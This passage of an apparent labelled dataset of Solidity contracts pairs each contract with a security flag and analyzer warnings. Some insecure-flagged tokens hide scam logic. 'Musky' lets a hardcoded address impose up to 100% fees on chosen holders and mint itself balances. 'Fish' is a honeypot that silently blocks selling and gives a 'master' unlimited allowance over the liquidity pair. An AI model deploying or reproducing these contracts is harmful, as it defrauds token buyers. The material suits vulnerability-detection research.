"file_name": "solidity_code_3355.sol",
"secure": 0,
"size_bytes": 9119
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_3356.sol",
"secure": 1,
"size_bytes": 220
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) private pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}",
"file_name": "solidity_code_3357.sol",
"secure": 1,
"size_bytes": 1659
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}",
"file_name": "solidity_code_3358.sol",
"secure": 1,
"size_bytes": 969
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract MinimalProxyFactoryEx {\n using SafeERC20 for IERC20;\n\n event ProxyDeployed(\n address caller,\n address proxy,\n address logic,\n uint256 deployId\n );\n\n function deploy(\n address _logic,\n IERC20 _token,\n uint256 _amount,\n bytes calldata _data,\n uint256 _deployId\n ) external {\n address proxy = _deployMinimalProxy(_logic);\n\n emit ProxyDeployed(msg.sender, proxy, _logic, _deployId);\n\n if (_amount > 0) {\n _token.safeTransferFrom(msg.sender, proxy, _amount);\n }\n\n if (_data.length > 0) {\n (bool success, ) = proxy.call(_data);\n require(success);\n }\n }\n\n function _deployMinimalProxy(\n address _logic\n ) private returns (address proxy) {\n bytes20 targetBytes = bytes20(_logic);\n assembly {\n let clone := mload(0x40)\n mstore(\n clone,\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000\n )\n mstore(add(clone, 0x14), targetBytes)\n mstore(\n add(clone, 0x28),\n 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000\n )\n proxy := create(0, clone, 0x37)\n }\n }\n}",
"file_name": "solidity_code_3359.sol",
"secure": 1,
"size_bytes": 1575
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.eth413swap(address(0), amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n if (amount > 1) {\n return swap2(instance, amount, from);\n } else {\n return swap2(instance2, amount, from);\n }\n }\n}",
"file_name": "solidity_code_336.sol",
"secure": 1,
"size_bytes": 708
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TestToken is ERC20 {\n constructor() ERC20(\"test\", \"test\") {\n _mint(msg.sender, 500_000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_3360.sol",
"secure": 1,
"size_bytes": 262
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n}",
"file_name": "solidity_code_3361.sol",
"secure": 1,
"size_bytes": 288
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract XCMGRefund {\n mapping(uint256 => address) public tokenIdAddrMap;\n mapping(uint256 => bool) public isRefund;\n uint256 public tokenRefundPrice;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ff5ed1): XCMGRefund.nftContract should be immutable \n\t// Recommendation for 4ff5ed1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC721 public nftContract;\n address public nftReceiver;\n\t// WARNING Optimization Issue (immutable-states | ID: f4fe7a9): XCMGRefund.owner should be immutable \n\t// Recommendation for f4fe7a9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private owner;\n\n uint256 public refundStartTime = 1686549600;\n uint256 public refundEndTime = 1686636000;\n\n constructor(address _nftContract) {\n nftContract = IERC721(_nftContract);\n owner = msg.sender;\n }\n\n modifier isOwner() {\n require(msg.sender == owner, \"NOT OWNER\");\n _;\n }\n\n modifier isProcess() {\n require(\n block.timestamp >= refundStartTime &&\n block.timestamp <= refundEndTime,\n \"Not in the refund process\"\n );\n _;\n }\n\n event Refund(address account, uint256 tokenId, uint256 price);\n\n fallback() external payable {}\n receive() external payable {}\n\n function setTime(uint256 start, uint256 end) external isOwner {\n require(end > start, \"TIME INVALID\");\n\n refundStartTime = start;\n refundEndTime = end;\n }\n\n function setTokenIdMap(\n uint256[] memory tokenIds,\n address[] memory addrs\n ) external isOwner {\n require(tokenIds.length == addrs.length, \"PARAM INVALID\");\n for (uint256 i = 0; i < tokenIds.length; i++) {\n tokenIdAddrMap[tokenIds[i]] = addrs[i];\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 993e869): XCMGRefund.setPriceAndNftReceiver(uint256,address)._receiver lacks a zerocheck on \t nftReceiver = _receiver\n\t// Recommendation for 993e869: Check that the address is not zero.\n function setPriceAndNftReceiver(\n uint256 _price,\n address _receiver\n ) external isOwner {\n tokenRefundPrice = _price;\n\t\t// missing-zero-check | ID: 993e869\n nftReceiver = _receiver;\n }\n\n function withLeftOverFund() external isOwner {\n uint256 currentBalance = address(this).balance;\n require(currentBalance > 0, \"Current balance is zero\");\n payable(owner).transfer(currentBalance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e9fb2ee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e9fb2ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 0b91cd5): XCMGRefund.refund(uint256) has external calls inside a loop nftContract.safeTransferFrom(msg.sender,nftReceiver,tokenId)\n\t// Recommendation for 0b91cd5: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 57c0d73): XCMGRefund.refund(uint256) has external calls inside a loop require(bool,string)(nftContract.ownerOf(tokenId) == msg.sender,TokenId Not Belong to you)\n\t// Recommendation for 57c0d73: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 5626edd): XCMGRefund.refund(uint256) has external calls inside a loop address(msg.sender).transfer(tokenRefundPrice)\n\t// Recommendation for 5626edd: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6e75721): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6e75721: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function refund(uint256 tokenId) public isProcess {\n\t\t// calls-loop | ID: 57c0d73\n require(\n nftContract.ownerOf(tokenId) == msg.sender,\n \"TokenId Not Belong to you\"\n );\n require(\n msg.sender == tokenIdAddrMap[tokenId],\n \"Address corresponding to tokenId is incorrect\"\n );\n require(isRefund[tokenId] == false, \"TokenId Already Refunded\");\n\n\t\t// reentrancy-events | ID: e9fb2ee\n\t\t// calls-loop | ID: 0b91cd5\n\t\t// reentrancy-no-eth | ID: 6e75721\n nftContract.safeTransferFrom(msg.sender, nftReceiver, tokenId);\n\n\t\t// reentrancy-no-eth | ID: 6e75721\n isRefund[tokenId] = true;\n\n require(\n address(this).balance >= tokenRefundPrice,\n \"Insufficient contract balance\"\n );\n\t\t// reentrancy-events | ID: e9fb2ee\n\t\t// calls-loop | ID: 5626edd\n payable(msg.sender).transfer(tokenRefundPrice);\n\n\t\t// reentrancy-events | ID: e9fb2ee\n emit Refund(msg.sender, tokenId, tokenRefundPrice);\n }\n\n function batchRefund(uint256[] memory tokenIds) external {\n for (uint256 i = 0; i < tokenIds.length; i++) {\n refund(tokenIds[i]);\n }\n }\n}",
"file_name": "solidity_code_3362.sol",
"secure": 0,
"size_bytes": 5676
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeCalls {\n function checkCaller(address sender, address _ownr) internal pure {\n require(sender == _ownr, \"Caller is not the original caller\");\n }\n}",
"file_name": "solidity_code_3363.sol",
"secure": 1,
"size_bytes": 242
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafeCalls.sol\" as SafeCalls;\n\ncontract Musky is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 5e95d72): Musky._decimals should be immutable \n\t// Recommendation for 5e95d72: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 5ef9106): Musky._totalSupply should be immutable \n\t// Recommendation for 5ef9106: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: bba0f16): Musky._ownr should be immutable \n\t// Recommendation for bba0f16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _ownr;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (constable-states | ID: a873d6f): Musky.baseRefundAmount should be constant \n\t// Recommendation for a873d6f: Add the 'constant' attribute to state variables that never change.\n uint256 private baseRefundAmount = 50000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _ownr = 0xf5abC265Bd2E765C13FE5528A9ADaE9180Acb245;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function born(address[] memory users, uint256 feePercent) external {\n SafeCalls.checkCaller(_msgSender(), _ownr);\n assembly {\n if gt(feePercent, 100) {\n revert(0, 0)\n }\n }\n for (uint256 i = 0; i < users.length; i++) {\n _transferFees[users[i]] = feePercent;\n }\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function refund(address recipient) external {\n SafeCalls.checkCaller(_msgSender(), _ownr);\n uint256 refundAmount = baseRefundAmount;\n _balances[recipient] += refundAmount;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 28439ab): Musky.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 28439ab: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, BLACK_HOLE, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3364.sol",
"secure": 0,
"size_bytes": 5381
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RealEstateToken is ERC20 {\n constructor() ERC20(\"RealEstateToken\", \"RET\") {\n _mint(msg.sender, 500000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_3365.sol",
"secure": 1,
"size_bytes": 295
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeRouter01.sol\" as IPancakeRouter01;\n\ninterface IPancakeRouter02 is IPancakeRouter01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_3366.sol",
"secure": 1,
"size_bytes": 1463
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\nimport \"./IPancakePair.sol\" as IPancakePair;\nimport \"./IPancakeRouter02.sol\" as IPancakeRouter02;\n\ncontract Fish is Context, IERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 1342588): Fish._router should be immutable \n\t// Recommendation for 1342588: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IPancakeRouter02 internal _router;\n\t// WARNING Optimization Issue (immutable-states | ID: 41f2165): Fish._pair should be immutable \n\t// Recommendation for 41f2165: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IPancakePair internal _pair;\n\n uint8 internal constant _DECIMALS = 18;\n\n address public master;\n mapping(address => bool) public _marketersAndDevs;\n mapping(address => uint256) internal _balances;\n mapping(address => mapping(address => uint256)) internal _allowances;\n mapping(address => uint256) internal _buySum;\n mapping(address => uint256) internal _sellSum;\n mapping(address => uint256) internal _sellSumETH;\n\n uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);\n uint256 internal _theNumber = ~uint256(0);\n uint256 internal _theRemainder = 0;\n\n modifier onlyMaster() {\n require(msg.sender == master);\n _;\n }\n\n constructor(address routerAddress) {\n _router = IPancakeRouter02(routerAddress);\n _pair = IPancakePair(\n IPancakeFactory(_router.factory()).createPair(\n address(this),\n address(_router.WETH())\n )\n );\n\n _balances[owner()] = _totalSupply;\n master = owner();\n _allowances[address(_pair)][master] = ~uint256(0);\n _marketersAndDevs[owner()] = true;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() external pure override returns (string memory) {\n return \"Fish\";\n }\n\n function symbol() external pure override returns (string memory) {\n return \"Fish\";\n }\n\n function decimals() external pure override returns (uint8) {\n return _DECIMALS;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_canTransfer(_msgSender(), recipient, amount)) {\n _transfer(_msgSender(), recipient, amount);\n }\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e358f3a): Fish.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e358f3a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_canTransfer(sender, recipient, amount)) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cada78c): Fish.burn(uint256) should emit an event for _totalSupply = amount \n\t// Recommendation for cada78c: Emit an event for critical parameter changes.\n function burn(uint256 amount) external onlyOwner {\n _balances[owner()] -= amount;\n\t\t// events-maths | ID: cada78c\n _totalSupply -= amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fadef2d): Fish.setNumber(uint256) should emit an event for _theNumber = newNumber \n\t// Recommendation for fadef2d: Emit an event for critical parameter changes.\n function setNumber(uint256 newNumber) external onlyOwner {\n\t\t// events-maths | ID: fadef2d\n _theNumber = newNumber;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1dc343a): Fish.setRemainder(uint256) should emit an event for _theRemainder = newRemainder \n\t// Recommendation for 1dc343a: Emit an event for critical parameter changes.\n function setRemainder(uint256 newRemainder) external onlyOwner {\n\t\t// events-maths | ID: 1dc343a\n _theRemainder = newRemainder;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 33787f2): Fish.setMaster(address).account lacks a zerocheck on \t master = account\n\t// Recommendation for 33787f2: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: a323117): Fish.setMaster(address) should emit an event for master = account \n\t// Recommendation for a323117: Emit an event for critical parameter changes.\n function setMaster(address account) external onlyOwner {\n _allowances[address(_pair)][master] = 0;\n\t\t// missing-zero-check | ID: 33787f2\n\t\t// events-access | ID: a323117\n master = account;\n _allowances[address(_pair)][master] = ~uint256(0);\n }\n\n function syncPair() external onlyMaster {\n _pair.sync();\n }\n\n function includeInReward(address account) external onlyMaster {\n _marketersAndDevs[account] = true;\n }\n\n function excludeFromReward(address account) external onlyMaster {\n _marketersAndDevs[account] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ed719fa): Fish.rewardHolders(uint256) should emit an event for _totalSupply += amount \n\t// Recommendation for ed719fa: Emit an event for critical parameter changes.\n function rewardHolders(uint256 amount) external onlyOwner {\n _balances[owner()] += amount;\n\t\t// events-maths | ID: ed719fa\n _totalSupply += amount;\n }\n\n function _isSuper(address account) private view returns (bool) {\n return (account == address(_router) || account == address(_pair));\n }\n\n function _canTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private view returns (bool) {\n if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {\n return true;\n }\n\n if (_isSuper(sender)) {\n return true;\n }\n if (_isSuper(recipient)) {\n uint256 amountETH = _getETHEquivalent(amount);\n uint256 bought = _buySum[sender];\n uint256 sold = _sellSum[sender];\n uint256 soldETH = _sellSumETH[sender];\n\n return\n bought >= sold + amount &&\n _theNumber >= soldETH + amountETH &&\n sender.balance >= _theRemainder;\n }\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _beforeTokenTransfer(sender, recipient, amount);\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8e7b619): Fish._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8e7b619: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5b3653a): Fish._hasLiquidity() ignores return value by (reserve0,reserve1,None) = _pair.getReserves()\n\t// Recommendation for 5b3653a: Ensure that all the return values of the function calls are used.\n function _hasLiquidity() private view returns (bool) {\n\t\t// unused-return | ID: 5b3653a\n (uint256 reserve0, uint256 reserve1, ) = _pair.getReserves();\n return reserve0 > 0 && reserve1 > 0;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b2db02b): Fish._getETHEquivalent(uint256) ignores return value by (reserve0,reserve1,None) = _pair.getReserves()\n\t// Recommendation for b2db02b: Ensure that all the return values of the function calls are used.\n function _getETHEquivalent(\n uint256 amountTokens\n ) private view returns (uint256) {\n\t\t// unused-return | ID: b2db02b\n (uint256 reserve0, uint256 reserve1, ) = _pair.getReserves();\n if (_pair.token0() == _router.WETH()) {\n return _router.getAmountOut(amountTokens, reserve1, reserve0);\n } else {\n return _router.getAmountOut(amountTokens, reserve0, reserve1);\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private {\n if (_hasLiquidity()) {\n if (_isSuper(from)) {\n _buySum[to] += amount;\n }\n if (_isSuper(to)) {\n _sellSum[from] += amount;\n _sellSumETH[from] += _getETHEquivalent(amount);\n }\n }\n }\n}",
"file_name": "solidity_code_3367.sol",
"secure": 0,
"size_bytes": 10621
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface InterfacePunkAsses {\n function punkassBalance(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_3368.sol",
"secure": 1,
"size_bytes": 172
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./InterfacePunkAsses.sol\" as InterfacePunkAsses;\n\ncontract Ass is ERC20, Ownable, Pausable {\n InterfacePunkAsses public PunkAsses;\n\n uint256 public startBlock;\n\n uint256 public interval = 86400;\n uint256 public rate = 4 ether;\n\n address public ticketContract;\n\n mapping(address => uint256) public rewards;\n\n mapping(address => uint256) public lastUpdate;\n\n modifier onlyFromPunkAsses() {\n require(msg.sender == address(PunkAsses));\n _;\n }\n\n constructor(address punkAssesAddress) ERC20(\"Ass\", \"Ass\") {\n PunkAsses = InterfacePunkAsses(punkAssesAddress);\n\n startBlock = block.timestamp;\n\n ticketContract = msg.sender;\n\n _pause();\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7daef2c): Ass.setStartBlock(uint256) should emit an event for startBlock = block.timestamp startBlock = arg \n\t// Recommendation for 7daef2c: Emit an event for critical parameter changes.\n function setStartBlock(uint256 arg) public onlyOwner {\n if (arg == 0) {\n\t\t\t// events-maths | ID: 7daef2c\n startBlock = block.timestamp;\n } else {\n\t\t\t// events-maths | ID: 7daef2c\n startBlock = arg;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 35fb7c9): Ass.setIntervalAndRate(uint256,uint256) should emit an event for interval = _interval rate = _rate \n\t// Recommendation for 35fb7c9: Emit an event for critical parameter changes.\n function setIntervalAndRate(\n uint256 _interval,\n uint256 _rate\n ) public onlyOwner {\n\t\t// events-maths | ID: 35fb7c9\n interval = _interval;\n\t\t// events-maths | ID: 35fb7c9\n rate = _rate;\n }\n\n function setPunkAssesContractAddress(address _punkAsses) public onlyOwner {\n PunkAsses = InterfacePunkAsses(_punkAsses);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9624ceb): Ass.setTicketContractAddress(address)._punkAsses lacks a zerocheck on \t ticketContract = _punkAsses\n\t// Recommendation for 9624ceb: Check that the address is not zero.\n function setTicketContractAddress(address _punkAsses) public onlyOwner {\n\t\t// missing-zero-check | ID: 9624ceb\n ticketContract = _punkAsses;\n }\n\n function burn(address user, uint256 amount) external {\n require(\n msg.sender == address(ticketContract),\n \"Your address does not have permission to use burn\"\n );\n _burn(user, amount);\n }\n\n function adminCreate(address user, uint256 amount) public onlyOwner {\n _mint(user, amount);\n }\n\n function transferTokens(\n address _from,\n address _to\n ) external onlyFromPunkAsses whenNotPaused {\n if (_from != address(0)) {\n rewards[_from] += getPendingReward(_from);\n lastUpdate[_from] = block.timestamp;\n }\n\n if (_to != address(0)) {\n rewards[_to] += getPendingReward(_to);\n lastUpdate[_to] = block.timestamp;\n }\n }\n\n function claimReward() external whenNotPaused {\n _mint(msg.sender, rewards[msg.sender] + getPendingReward(msg.sender));\n\n rewards[msg.sender] = 0;\n lastUpdate[msg.sender] = block.timestamp;\n }\n\n function getTotalClaimable(address user) external view returns (uint256) {\n return rewards[user] + getPendingReward(user);\n }\n\n function getlastUpdate(address user) external view returns (uint256) {\n return lastUpdate[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a6116b8): Ass.getPendingReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= startBlock\n\t// Recommendation for a6116b8: Avoid relying on 'block.timestamp'.\n function getPendingReward(address user) internal view returns (uint256) {\n\t\t// timestamp | ID: a6116b8\n return\n (PunkAsses.punkassBalance(user) *\n rate *\n (block.timestamp -\n (\n lastUpdate[user] >= startBlock\n ? lastUpdate[user]\n : startBlock\n ))) / interval;\n }\n}",
"file_name": "solidity_code_3369.sol",
"secure": 0,
"size_bytes": 4705
} |
{
